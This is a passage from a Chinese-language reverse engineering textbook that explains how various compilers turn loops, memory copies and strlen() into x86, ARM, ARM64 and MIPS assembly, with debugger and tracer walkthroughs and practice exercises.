14.4 Optimizing GCC 4.4.1 main proc near var_10 = dword ptr -10h push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 10h mov [esp+10h+var_10], 2 call printing_function mov [esp+10h+var_10], 3 call printing_function mov [esp+10h+var_10], 4 call printing_function mov [esp+10h+var_10], 5 call printing_function mov [esp+10h+var_10], 6 call printing_function mov [esp+10h+var_10], 7 call printing_function mov [esp+10h+var_10], 8 call printing_function mov [esp+10h+var_10], 9 call printing_function xor eax, eax leave retn main endp GCC 把我们的循环指令给展开(分解)了。 编译器会对选代次数较少的循环进行循环分解(Loop unwinding)对处理。展开循环体以后代码的执 行效率会有所提升,但是会增加程序代码的体积。 编译经验表明,展开循环体较大的循环结构并非良策。大型函数的缓存耗费的内存占有量(cache footprint)较大。 ① ① 请参阅 Dre07,及 Int14, 3.4.1.7 节。 我们把变量 i 的最大值调整到 100,看看 GCC 是否还会分解循环。 指令清单 14.5 GCC public main main proc near var_20 = dword ptr -20h push ebp mov ebp, esp and esp, 0FFFFFFF0h push ebx mov ebx, 2 ; i=2 sub esp, 1Ch ; aligning label loc_80484D0 (loop body begin) by 16-byte border: nop 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 155 loc_80484D0: ; pass (i) as first argument to printing_function(): mov [esp+20h+var_20], ebx add ebx, 1 ; i++ call printing_function cmp ebx, 64h ; i==100? jnz short loc_80484D0 ; if not, continue add esp, 1Ch xor eax, eax ; return 0 pop ebx mov esp, ebp pop ebp retn main endp 这就与 MSVC 2010 /Ox 编译出来的代码差不多了。唯一的区别是,GCC 使用 EBX 寄存器充当变量 i 的 专用寄存器。因为 GCC 能够判断后面的被调用方函数不会修改这个专用寄存器的值,所以它才会这样分配 寄存器。在 GCC 不能进行相应判断,但是还决定给局部变量分配专用寄存器的时候,它就会在使用局部变量 的那个函数的序言和尾声部分添加相应指令,利用数据栈保存和恢复专用寄存器的原始值。我们可以在 main() 函数里看到这种现象:它在函数的序言和尾声部分分别存储和恢复了局部变量专用寄存器 ebx 的原始值。 14.1.2 x86:OllyDbg 我们启用 MSVC 2010 的优化选项“/Ox”和“/Ob0”来编译上述程序,然后使用 OllyDbg 调试生成的 可执行文件。 如图 14.1 所示,OllyDbg 能够识别简单的循环语句,并用方括号进行标注。 图 14.1 OllyDbg:main()函数的启动代码 我们按 F8 键进行单步调试,将会看到 ESI 寄存器的值不断递增。我们运行到 ESI 的值(变量 i)为 6 的时 刻,如图 14.2 所示。 图 14.2 OllyDbg:i=6 时的循环体 当 i=9 的时候,循环语句会做最后一次迭代。进行了这次迭代之后,i 值变为 10,不会再触发条件转 移指令 JL。main()函数结束时的情况如图 14.3 所示。 图 14.3 OllyDbg:ESI=10 之后,循环结束 异步社区会员 dearfuture(15918834820) 专享 尊重版权 156 逆向工程权威指南(上册) 14.1.3 x86:跟踪调试工具 tracer 您可能也注意到了,直接使用OllyDbg这样的调试工具跟踪调试程序并不方便。所以我自己写了个调试 工具tracer。 ① ① 如果您有兴趣,可以到作者的网站上下载。http://yurichev.com/tracer-en.html。 使用 IDA 打开编译后的可执行文件,找到 PUSH ESI(这条指令把参数传递给 printing_function()函数), 记下其地址 0x401026,然后通过下述指令启动 tracer 程序: tracer.exe -l:loops_2.exe bpx=loops_2.exe!0x00401026 上述指令会在 BPX 设置的断点地址处中断,输出此时各寄存器的状态。 tracer 工具会把寄存器的状态输出到 tracer.log: PID=12884|New process loops_2.exe (0) loops_2.exe!0x401026 EAX=0x00a328c8 EBX=0x00000000 ECX=0x6f0f4714 EDX=0x00000000 ESI=0x00000002 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=PF ZF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000003 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF PF AF SF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000004 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF PF AF SF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000005 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF AF SF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000006 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF PF AF SF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000007 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF AF SF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000008 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF AF SF IF (0) loops_2.exe!0x401026 EAX=0x00000005 EBX=0x00000000 ECX=0x6f0a5617 EDX=0x000ee188 ESI=0x00000009 EDI=0x00333378 EBP=0x0024fbfc ESP=0x0024fbb8 EIP=0x00331026 FLAGS=CF PF AF SF IF PID=12884|Process loops_2.exe exited. ExitCode=0 (0x0) 从中可以看到 ESI 寄存器的值从 2 递增到 9。 tracer 工具能够追查函数中任意地址处的寄存器状态。它名字中的 trace 就强调了其独首的追查功能。 它能够在任意指令处设置断点,以记录指定寄存器的变化过程。此外,它还可以生成可被 IDA 调用的.idc 脚本文件,并为指令添加注释。例如,我们知道 main()函数的地址是 0x00401020,就可以执行 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 157 tracer.exe -l:loops_2.exe bpf=loops_2.exe!0x00401020,trace:cc BPF 的意思就是在函数执行前设置断点。 这条指令可以生成两个脚本文件,即 loops_2.exe.idc 和 loops_2.exe_clear.idc。我们使用 IDA 加载脚本 文件 loops_2.exe.idc 之后的情形如图 14.4 所示。 图 14.4 IDA 加载.idc 脚本文件 根据 Tracer 给循环体进行的注释可知:ESI 的值首先会从 2 递增到 9。在递增指令结束之后,ESI 的值 再从 3 递增到 0xA(10)。另外,在 main()函数结束的时候,EAX 的值会是零。 在生成注释文件的同时,tracer 还会生成 loops_2.ext.txt。这个文件会统计每条指令被执行的次数,并且 标注了各寄存器数值的变化过程。 指令清单 14.6 loops_2.exe.txt 0x401020 (.text+0x20), e= 1 [PUSH ESI] ESI=1 0x401021 (.text+0x21), e= 1 [MOV ESI, 2] 0x401026 (.text+0x26), e= 8 [PUSH ESI] ESI=2..9 0x401027 (.text+0x27), e= 8 [CALL 8D1000h] tracing nested maximum level (1) reached, skipping this CALL 8D1000h=0x8d1000 0x40102c (.text+0x2c), e= 8 [INC ESI] ESI=2..9 0x40102d (.text+0x2d), e= 8 [ADD ESP, 4] ESP=0x38fcbc 0x401030 (.text+0x30), e= 8 [CMP ESI, 0Ah] ESI=3..0xa 0x401033 (.text+0x33), e= 8 [JL 8D1026h] SF=false,true OF=false 0x401035 (.text+0x35), e= 1 [XOR EAX, EAX] 0x401037 (.text+0x37), e= 1 [POP ESI] 0x401038 (.text+0x38), e= 1 [RETN] EAX=0 我们可以使用 grep 指令搜索特定的关键字。 14.1.4 ARM Non-optimizing Keil 6/2013 (ARM mode) main STMFD SP!, {R4,LR} MOV R4, #2 B loc_368 loc_35C ; CODE XREF: main+1C MOV R0, R4 BL printing_function ADD R4, R4, #1 loc_368 ; CODE XREF: main+8 CMP R4, #0xA BLT loc_35C MOV R0, #0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 158 逆向工程权威指南(上册) LDMFD SP!, {R4,PC} 上述代码中的 R4 寄存器用于存储循环计数器(即变量 i)。 “MOV R4, #2”给变量 i 进行初始化赋值。 “MOV R0, R4”和“BL printing_function”指令构成循环体。前者负责向被调用方函数传递参数,后者 则直接调用 printing_function ()函数。 “ADD R4, R4, #1”指令在每次迭代之后进行 i++的运算。 “CMP R4, #0xA”指令会比较变量 i 和数字 10(十六进制的 0xA)。下一条指令 BLT(Branch Less Than) 会在 i<10 的情况下进行跳转;否则执行“MOV R0,#0”(处理返回值),并且退出当前函数。 Optimizing Keil 6/2013 (Thumb mode) _main PUSH {R4,LR} MOVS R4, #2 loc_132 ; CODE XREF: _main+E MOVS R0, R4 BL printing_function ADDS R4, R4, #1 CMP R4, #0xA BLT loc_132 MOVS R0, #0 POP {R4,PC} 这段代码似乎不需更多解释。 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) _main PUSH {R4,R7,LR} MOVW R4, #0x1124 ; "%d\n" MOVS R1, #2 MOVT.W R4, #0 ADD R7, SP, #4 ADD R4, PC MOV R0, R4 BLX _printf MOV R0, R4 MOVS R1, #3 BLX _printf MOV R0, R4 MOVS R1, #4 BLX _printf MOV R0, R4 MOVS R1, #5 BLX _printf MOV R0, R4 MOVS R1, #6 BLX _printf MOV R0, R4 MOVS R1, #7 BLX _printf MOV R0, R4 MOVS R1, #8 BLX _printf MOV R0, R4 MOV R1, #9 BLX _printf MOVS R0, #0 POP {R4,R7,PC} 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 159 实际上,它把 printing_function ()函数内部的指令直接代入了循环体: void printing_function (int i) { printf ("%d\n", i); }; 可见,LLVM 不仅把循环控制语句展开为 8 个顺序执行的循环体,而且还在 main()函数的循环体内直 接代入了 printing_function ()函数内部的指令。当循环体调用的函数不复杂且循环的次数不高时,LLVM 编 译器会把它们都拿出来进行分解和展开。 ARM64: Optimizing GCC 4.9.1 指令清单 14.7 Optimizing GCC 4.9.1 printing_function: ; prepare second argument of printf(): mov w1, w0 ; load address of the "f(%d)\n" string adrp x0, .LC0 add x0, x0, :lo12:.LC0 ; just branch here instead of branch with link and return: b printf main: ; save FP and LR in the local stack: stp x29, x30, [sp, -32]! ; set up stack frame: add x29, sp, 0 ; save contents of X19 register in the local stack: str x19, [sp,16] ; we will use W19 register as counter. ; set initial value of 2 to it: mov w19, 2 .L3: ; prepare first argument of printing_function(): mov w0, w19 ; increment counter register. add w19, w19, 1 ; W0 here still holds value of counter value before increment. bl printing_function ; is it end? cmp w19, 10 ; no, jump to the loop body begin: bne .L3 ; return 0 mov w0, 0 ; restore contents of X19 register: ldr x19, [sp,16] ; restore FP and LR values: ldp x29, x30, [sp], 32 ret .LC0: .string "f(%d)\n" ARM64: Non-optimizing GCC 4.9.1 指令清单 14.8 Non-optimizing GCC 4.9.1 printing_function: ; prepare second argument of printf(): mov w1, w0 ; load address of the "f(%d)\n" string adrp x0, .LC0 add x0, x0, :lo12:.LC0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 160 逆向工程权威指南(上册) ; just branch here instead of branch with link and return: b printf main: ; save FP and LR in the local stack: stp x29, x30, [sp, -32]! ; set up stack frame: add x29, sp, 0 ; save contents of X19 register in the local stack: str x19, [sp,16] ; we will use W19 register as counter. ; set initial value of 2 to it: mov w19, 2 .L3: ; prepare first argument of printing_function(): mov w0, w19 ; increment counter register. add w19, w19, 1 ; W0 here still holds value of counter value before increment. bl printing_function ; is it end? cmp w19, 10 ; no, jump to the loop body begin: bne .L3 ; return 0 mov w0, 0 ; restore contents of X19 register: ldr x19, [sp,16] ; restore FP and LR values: ldp x29, x30, [sp], 32 ret .LC0: .string "f(%d)\n" 14.1.5 MIPS 指令清单 14.9 Non-optimizing GCC 4.4.5 (IDA) main: ; IDA is not aware of variable names in local stack ; We gave them names manually: i = -0x10 saved_FP = -8 saved_RA = -4 ; function prologue: addiu $sp, -0x28 sw $ra, 0x28+saved_RA($sp) sw $fp, 0x28+saved_FP($sp) move $fp, $sp ; initialize counter at 2 and store this value in local stack li $v0, 2 sw $v0, 0x28+i($fp) ; pseudoinstruction. "BEQ $ZERO, $ZERO, loc_9C" there in fact: b loc_9C or $at, $zero ; branch delay slot, NOP # --------------------------------------------------------------------------- loc_80: # CODE XREF: main+48 ; load counter value from local stack and call printing_function(): lw $a0, 0x28+i($fp) jal printing_function or $at, $zero ; branch delay slot, NOP ; load counter, increment it, store it back: lw $v0, 0x28+i($fp) or $at, $zero ; NOP addiu $v0, 1 sw $v0, 0x28+i($fp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 161 loc_9C: # CODE XREF: main+18 ; check counter, is it 10? lw $v0, 0x28+i($fp) or $at, $zero ; NOP slti $v0, 0xA ; if it is less than 10, jump to loc_80 (loop body begin): bnez $v0, loc_80 or $at, $zero ; branch delay slot, NOP ; finishing, return 0: move $v0, $zero ; function epilogue: move $sp, $fp lw $ra, 0x28+saved_RA($sp) lw $fp, 0x28+saved_FP($sp) addiu $sp, 0x28 jr $ra or $at, $zero ; branch delay slot, NOP 上述代码中的“B”指令属于 IDA 生成的伪指令。它原本的指令是 BEQ。 14.1.6 其他 您可能注意到了,在对循环控制变量 i 进行初始化赋值之后,程序首先检查变量 i 是否满足循环条件。 在满足循环表达式的情况下,才会运行循环体的指令。这恐怕是有意而为之。如果循环变量的初始值不能满 足循环条件,那么整个循环体都不会被执行。例如,下面例子中的循环体就可能不会被执行: for (i=0; i<total_entries_to_process; i++) loop_body; 如果变量 total_entries_to_process 等于零,就不应当执行循环体。所以,循环控制语句有必要首先检查 控制变量的初始值是否满足循环条件。 在启用优化选项之后,如果编译器能够判断循环语句的初始状态不可能满足循环体的执行条件,那么 它可能根本不会生成该循环体的条件检测指令和循环体的对应指令。在启用编译器的优化功能之后,在编 译本例的源程序时,Keil、Xcode(LLVM)、MSVC 都能做到这种程度的优化。 14.2 内存块复制 目前的计算机多数采取了 SIMD 和矢量化等技术,在内存中复制数据时,能够在每次迭代中复制 4~8 个字节。本节将从一个尽可能简单的例子开始演示。 #include <stdio.h> void my_memcpy (unsigned char* dst, unsigned char* src, size_t cnt) { size_t i; for (i=0; i<cnt; i++) dst[i]=src[i]; }; 14.2.1 编译结果 指令清单 14.10 GCC 4.9 x64 optimized for size (-Os) my_memcpy: ; RDI = destination address ; RSI = source address ; RDX = size of block ; initialize counter (i) at 0 xor eax, eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 162 逆向工程权威指南(上册) .L2: ; all bytes copied? exit then: cmp rax, rdx je .L5 ; load byte at RSI+i: mov cl, BYTE PTR [rsi+rax] ; store byte at RDI+i: mov BYTE PTR [rdi+rax], cl inc rax ; i++ jmp .L2 .L5: ret 指令清单 14.11 GCC 4.9 ARM64 optimized for size (-Os) my_memcpy: ; X0 = destination address ; X1 = source address ; X2 = size of block ; initialize counter (i) at 0 mov x3, 0 .L2: ; all bytes copied? exit then: cmp x3, x2 beq .L5 ; load byte at X1+i: ldrb w4, [x1,x3] ; store byte at X1+i: strb w4, [x0,x3] add x3,x3,1 ; i++ b .L2 .L5: ret 指令清单 14.12 Optimizing Keil 6/2013 (Thumb mode) my_memcpy PROC ; R0 = destination address ; R1 = source address ; R2 = size of block PUSH {r4, lr} ; initialize counter (i) at 0 MOVS r3,#0 ; condition checked at the end of function, so jump there: B |L0.12| |L0.6| ; load byte at R1+i: LDRB r4,[r1,r3] ; store byte at R1+i: STRB r4,[r0,r3] ; i++ ADDS r3,r3,#1 |L0.12| ; i<size? CMP r3,r2 ; jump to the loop begin if its so:' BCC |L0.6| POP {r4,pc} ENDP 14.2.2 编译为 ARM 模式的程序 在编辑 ARM 模式的应用程序时,Keil 能够充分利用相应指令集的条件执行指令: 指令清单 14.13 Optimizing Keil 6/2013 (ARM mode) my_memcpy PROC ; R0 = destination address 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 163 ; R1 = source address ; R2 = size of block ; initialize counter (i) at 0 MOV r3,#0 |L0.4| ; all bytes copied? CMP r3,r2 ; the following block is executed only if "less than" condition, ; i.e., if R2<R3 or i<size. ; load byte at R1+i: LDRBCC r12,[r1,r3] ; store byte at R1+i: STRBCC r12,[r0,r3] ; i++ ADDCC r3,r3,#1 ; the last instruction of the "conditional block". ; jump to loop begin if i<size ; do nothing otherwise (i.e., if i>=size) BCC |L0.4| ; return BX lr ENDP 32 位的 ARM 程序只用了一个转移指令,比 thumb 程序少了一个转移指令。 14.2.3 MIPS 指令清单 14.14 GCC 4.4.5 optimized for size (-Os) (IDA) my_memcpy: ; jump to loop check part: b loc_14 ; initialize counter (i) at 0 ; it will always reside in \$v0: move $v0, $zero ; branch delay slot loc_8: # CODE XREF: my_memcpy+1C ; load byte as unsigned at address in $t0 to $v1: lbu $v1, 0($t0) ; increment counter (i): addiu $v0, 1 ; store byte at $a3 sb $v1, 0($a3) loc_14: # CODE XREF: my_memcpy ; check if counter (i) in $v0 is still less then 3rd function argument ("cnt" in $a2): sltu $v1, $v0, $a2 ; form address of byte in source block: addu $t0, $a1, $v0 ; $t0 = $a1+$v0 = src+i ; jump to loop body if counter sill less then "cnt": bnez $v1, loc_8 ; form address of byte in destination block (\$a3 = \$a0+\$v0 = dst+i): addu $a3, $a0, $v0 ; branch delay slot ; finish if BNEZ wasnt triggered:' jr $ra or $at, $zero ; branch delay slot, NOP 这里序言介绍的两个指令分别是 LBU(Load Byte Unsigned)和 SB(Store Byte)。与 ARM 模式的程序 相似,所有的 MIPS 寄存器都是 32 位寄存器。在这两个平台上,我们无法像 x86 平台上那样直接对寄存器 的低位进行直接操作。因此在对单个字节进行操作时,我们还是得访问整个 32 位寄存器。LBU 指令加载 字节型数据并且会清除寄存器的其他位。另外由于有符号数据存在符号位的问题,所以在处理有符号数的 时候还要使用 LB(Load Byte)指令把单字节的有符号数据扩展为等值的 32 位数据、再存储在寄存器里。 SB 指令的作用是把寄存器里的低 8 位复制到内存里。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 164 逆向工程权威指南(上册) 14.2.4 矢量化技术 25.1.2 节会详细介绍 GCC 的优化编译方式基于矢量化技术(Vectorization)的。 14.3 总结 当循环控制变量从 2 递增到 9 时,循环语句对应的汇编代码大体如下。 指令清单 14.15 x86 mov [counter], 2 ; initialization jmp check body: ; loop body ; do something here ; use counter variable in local stack add [counter], 1 ; increment check: cmp [counter], 9 jle body 如果没有开启编译器的优化编译功能,那么控制变量的递增操作可能对应着 3 条汇编指令。 指令清单 14.16 x86 MOV [counter], 2 ; initialization JMP check body: ; loop body ; do something here ; use counter variable in local stack MOV REG, [counter] ; increment INC REG MOV [counter], REG check: CMP [counter], 9 JLE body 当循环体较为短小时,编译器可能给循环控制变量分配专用的寄存器。 指令清单 14.17 x86 MOV EBX, 2 ; initialization JMP check body: ; loop body ; do something here ; use counter in EBX, but do not modify it! INC EBX ; increment check: CMP EBX, 9 JLE body 编译器还可能调换部分指令的顺序。 指令清单 14.18 x86 MOV [counter], 2 ; initialization JMP label_check label_increment: ADD [counter], 1 ; increment label_check: CMP [counter], 10 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 165 JGE exit ; loop body ; do something here ; use counter variable in local stack JMP label_increment exit: 通常情况下,程序应当首先判断循环条件是否满足,然后再执行循环体。但是在编译器确定第 一次迭代肯定会发生的情况下,它可能会调换循环体和判断语句的顺序。下面这个程序就是个典型 的例子。 指令清单 14.19 x86 MOV REG, 2 ; initialization body: ; loop body ; do something here ; use counter in REG, but do not modify it! INC REG ; increment CMP REG, 10 JL body 编译器不会使用 LOOP 指令。由 LOOP 控制的循环控制语句比较少见。如果某段代码带有 LOOP 指令, 那么您应当认为这是手写出来的汇编程序。 指令清单 14.20 x86 ; count from 10 to 1 MOV ECX, 10 body: ; loop body ; do something here ; use counter in ECX, but do not modify it! LOOP body ARM 平台的 R4 寄存器专门用于存储循环控制变量。 指令清单 14.21 ARM MOV R4, 2 ; initialization B check body: ; loop body ; do something here ; use counter in R4, but do not modify it! ADD R4,R4, #1 ; increment check: CMP R4, #10 BLT body 14.4 练习题 14.4.1 题目 1 为什么现在的编译器不再使用 LOOP 指令了? 14.4.2 题目 2 使用您喜欢的操作系统和编译器编译 14.1.1 节的样本程序,然后修改这个可执行程序,使循环变量 i 可以从 6 递增到 20。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 166 逆向工程权威指南(上册) 14.4.3 题目 3 请描述下述代码的功能。 指令清单 14.22 由 MSVC 2010 (启用/Ox 选项)编译而得的代码 $SG2795 DB '%d', 0aH, 00H _main PROC push esi push edi mov edi, DWORD PTR __imp__printf mov esi, 100 npad 3; align next label $LL3@main: push esi push OFFSET $SG2795 ; '%d' call edi dec esi add esp, 8 test esi, esi jg SHORT $LL3@main pop edi xor eax, eax pop esi ret0 _main ENDP 指令清单 14.23 Non-optimizing Keil 6/2013 (ARM mode) main PROC PUSH {r4,lr} MOV r4,#0x64 |L0.8| MOV r1,r4 ADR r0,|L0.40| BL __2printf SUB r4,r4,#1 CMP r4,#0 MOVLE r0,#0 BGT |L0.8| POP {r4,pc} ENDP |L0.40| DCB "%d\n",0 指令清单 14.24 Non-optimizing Keil 6/2013 (Thumb mode) main PROC PUSH {r4,lr} MOVS r4,#0x64 |L0.40| MOVS r1,r4 ADR r0,|L0.24| BL __2printf SUBS r4,r4,#1 CMP r4,#0 BGT |L0.4| MOVS r0,#0 POP {r4,pc} ENDP DCW 0x0000 |L0.24| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 167 DCB "%d\n",0 指令清单 14.25 Optimizing GCC 4.9 (ARM64) main: stp x29, x30, [sp, -32]! add x29, sp, 0 stp x19, x20, [sp,16] adrp x20, .LC0 mov w19, 100 add x20, x20, :lo12:.LC0 .L2: mov w1, w19 mov x0, x20 bl printf subs w19, w19, #1 bne .L2 ldp x19, x20, [sp,16] ldp x29, x30, [sp], 32 ret .LC0: .string "%d\n" 指令清单 14.26 Optimizing GCC 4.4.5 (MIPS) (IDA) main: var_18 = -0x18 var_C = -0xC var_8 = -8 var_4 = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x28 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x28+var_4($sp) sw $s1, 0x28+var_8($sp) sw $s0, 0x28+var_C($sp) sw $gp, 0x28+var_18($sp) la $s1, $LC0 # "%d\n" li $s0, 0x64 # 'd' loc_28: # CODE XREF: main+40 lw $t9, (printf & 0xFFFF)($gp) move $a1, $s0 move $a0, $s1 jalr $t9 addiu $s0, -1 lw $gp, 0x28+var_18($sp) bnez $s0, loc_28 or $at, $zero lw $ra, 0x28+var_4($sp) lw $s1, 0x28+var_8($sp) lw $s0, 0x28+var_C($sp) jr $ra addiu $sp, 0x28 $LC0: .ascii "%d\n"<0> # DATA XREF: main+1C 14.4.4 题目 4 请描述下述代码的功能。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 168 逆向工程权威指南(上册) 指令清单 14.27 Optimizing MSVC 2010 $SG2795 DB '%d', 0aH, 00H _main PROC push esi push edi mov edi, DWORD PTR __imp_printf mov esi, 1 npad 3; align next label $LL3@main: push esi push OFFSET $SG2795 ; '%d' call edi add esi, 3 add esp, 8 cmp esi, 100 jl SHORT $LL3@main pop edi xor eax, eax pop esi ret 0 _main ENDP 指令清单 14.28 Non-optimizing Keil 6/2013 (ARM mode) main PROC PUSH {r4,lr} MOV r4,#1 |L0.8| MOV r1,r4 ADR r0,|L0.40| BL __2printf ADD r4,r4,#3 CMP r4,#0x64 MOVGE r0,#0 BLT |L0.8| POP {r4,pc} ENDP |L0.40| DCB "%d\n",0 指令清单 14.29 Non-optimizing Keil 6/2013 (Thumb mode) main PROC PUSH {r4,lr} MOVS r4,#1 |L0.4| MOVS r1,r4 ADR r0,|L0.24| BL __2printf ADDS r4,r4,#3 CMP r4,#0x64 BLT |L0.4| MOVS r0, #0 POP {r4,pc} ENDP DCW 0x0000 |L0.40| DCB "%d\n",0 指令清单 14.30 Optimizing GCC 4.9 (ARM64) main: stp x29, x30, [sp, -32]! 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 169 add x29, sp, 0 stp x19, x20, [sp,16] adrp x20, .LC0 mov w19, 1 add x20, x20, :lo12:.LC0 .L2: mov w1, w19 mov x0, x20 add w19, w19, 3 bl printf cmp w19, 100 bne .L2 ldp x19, x20, [sp,16] ldp x29, x30, [sp], 32 ret .LC0: .string "%d\n" 指令清单 14.31 Optimizing GCC 4.4.5 (MIPS) (IDA) main: var_18 = -0x18 var_10 = -0x10 var_C = -0xC var_8 = -8 var_4 = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x28 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x28+var_4($sp) sw $s2, 0x28+var_8($sp) sw $s1, 0x28+var_C($sp) sw $s0, 0x28+var_10($sp) sw $gp, 0x28+var_18($sp) la $s2, $LC0 # "%d\n" li $s0, 1 li $s1, 0x64 # 'd' loc_30: # CODE XREF: main+48 lw $t9, (printf & 0xFFFF)($gp) move $a1, $s0 move $a0, $s2 jalr $t9 addiu $s0, 3 lw $gp, 0x28+var_18($sp) bne $s0, $s1, loc_30 or $at, $zero lw $ra, 0x28+var_4($sp) lw $s2, 0x28+var_8($sp) lw $s1, 0x28+var_C($sp) lw $s0, 0x28+var_10($sp) jr $ra addiu $sp, 0x28 $LC0: .ascii "%d\n"<0> # DATA XREF: main+20 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1155 章 章 CC 语 语言 言字 字符 符串 串的 的函 函数 数 15.1 strlen() 本章是循环控制语句的具体应用。通常,strlen()函数由循环语句 while()语句实现。参照 MSVC 标准库 对 strlen()函数的定义方法,我们讨论下述的程序: int my_strlen (const char * str) { const char *eos = str; while( *eos++ ) ; return( eos - str - 1 ); } int main() { // test return my_strlen("hello!"); }; 15.1.1 x86 Non-optimizing MSVC 使用 MSVC 2010 编译上述程序可得到: _eos$ = -4 ; size = 4 _str$ = 8 ; size = 4 _strlen PROC push ebp mov ebp, esp push ecx mov eax, DWORD PTR _str$[ebp] ; 将指针指向字符串 mov DWORD PTR _eos$[ebp], eax ; 指向局部变量 eos $LN2@strlen_: mov ecx, DWORD PTR _eos$[ebp] ; ECX=eos ; take 8-bit byte from address in ECX and place it as 32-bit value to EDX with sign extension movsx edx, BYTE PTR [ecx] mov eax, DWORD PTR _eos$[ebp] ; EAX=eos add eax, 1 ; EAX++ mov DWORD PTR _eos$[ebp], eax ; EAX 还原为 EOS test edx, edx ; EDX = 0 ? je SHORT $LN1@strlen_ ; yes, then finish loop jmp SHORT $LN2@strlen_ ; continue loop $LN1@strlen_: ; here we calculate the difference between two pointers mov eax, DWORD PTR _eos$[ebp] sub eax, DWORD PTR _str$[ebp] sub eax, 1 ; subtract 1 and return result mov esp, ebp pop ebp ret 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 15 章 C 语言字符串的函数 171 _strlen_ ENDP 这里出现了两个新指令:MOVSX 和 TEST。 此处,MOVSX 指令从内存中读取 8 位(单字节)数据,并把它存储到 32 位寄存器里。MOVSX 是 MOV with Sign-Extend 的缩写。在把小空间数据转换为大空间数据时,存在填充高位数据的问题;本例中, MOVSX 将用原始数据的 8 位数据填充 EDX 寄存器的低 8 位;如果原始数据是负数,该指令将使用 1 填充 第 8 到第 31 位(高 24 位),否则使用 0 填充高 24 位。 这是为了保证有符号型数据在类型转换后的数值保持不变。 根据 C/C++标准,char 类型数据是 signed(有符号型)数据。现在设想一下把 char 型数据转换为 int 型数据(都是有符号型数据)的情况:假如 char 型数据的原始值是-2(0xFE),直接把整个字节复制到 int 型数据的最低 8 位上时,int 型数据的值就变成 0x000000FE,以有符号型数据的角度看它被转换为 254 了, 而没有保持原始值-2。-2 对应的 int 型数据是 0xFFFFFFFE。所以,在把原始数据复制到目标变量之后, 还要使用符号标志位填充剩余的数据,而这就是 MOVSX 的功能。 本书第 30 章会更为详细地介绍有符号型数据的表示方法。 虽然不太确定寄存器是否有必要分配 EDX 寄存器专门保存 char 型数据,看上去它只使用了寄存器的 低 8 位空间(相当于 DL)。显然,编译器根据自身的寄存器分配规则进行了相应分配。 您将在后面看到“TEST EDX,EDX”指令。本书会在第 19 章详细介绍 TEST 指令。在本例中,它的 功能是检查 EDX 的值是否是零,并设置相应的标志位。 Non-optimizing GCC 使用 GCC 4.4.1(未启用优化选项)编译上述程序,可得到: public strlen strlen proc near eos = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] mov [ebp+eos], eax loc_80483F0: mov eax, [ebp+eos] movzx eax, byte ptr [eax] test al, al setnz al add [ebp+eos], 1 test al, al jnz short loc_80483F0 mov edx, [ebp+eos] mov eax, [ebp+arg_0] mov ecx, edx sub ecx, eax mov eax, ecx sub eax, 1 leave retn strlen endp GCC 编译的结果和 MSVC 差不多。这里它没有使用 MOVSX 指令,而是用了 MOVZX 指令。MOVZX 是 MOV with Zero-Extent 的缩写。在将 8 位或 16 位数据转换为 32 位数据的时候,它直接复制原始数据到 目标寄存器的相应低位,并且使用 0 填充剩余的高位。拆文解字的角度来看,这条指令相当于一步完成了 “xor eax, eax”和“mov al,[源 8/16 位数据]”2 条指令。 另一方面,编译器可以生成“mov al, byte ptr [eax] / test al, al”这样的代码,但是这样一来 EAX 寄存器的高 异步社区会员 dearfuture(15918834820) 专享 尊重版权 172 逆向工程权威指南(上册) 位将会存在随机的噪声。不如说,这就是编译器的短板所在——在它生成汇编代码的时候,它不会照顾汇编代 码的(人类)可读性。严格说来,编译器编译出来的代码本来就是给机器运行的,而不是给人阅读的。 本例还出现了未介绍过的 SETNZ 